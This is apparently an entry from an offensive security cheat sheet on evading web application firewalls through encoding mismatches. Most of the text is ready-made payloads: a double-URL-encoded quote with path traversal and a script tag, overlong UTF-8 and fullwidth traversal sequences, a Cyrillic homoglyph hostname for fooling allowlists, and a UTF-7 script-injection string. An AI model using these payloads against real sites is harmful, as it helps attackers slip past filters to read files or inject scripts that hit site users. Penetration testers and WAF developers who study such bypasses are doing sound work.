Double encoding / unicode
WAF decodes once, app decodes twice. Or the WAF is ASCII-brained and the app is UTF-8.
Tags: waf, encoding, unicode
Techniques
Double URL
%2527 -> %27 -> ' after two decodes.
%2527%252e%252e%252f%253Cscript%253E
Mixed slashes and dots
Backslash, overlong UTF-8, fullwidth solidus.
..\%c0%ae％2f
Unicode homoglyph host
Allowlists that compare visual forms or IDNA-unaware parsers.
xn--e1awd7ftаrget.com (cyrillic a)
UTF-7 / UTF-16 leftovers
Rare, but some old XML/HTML parsers still sniff charset from your payload.
+ADw-script+AD4-charset=utf-7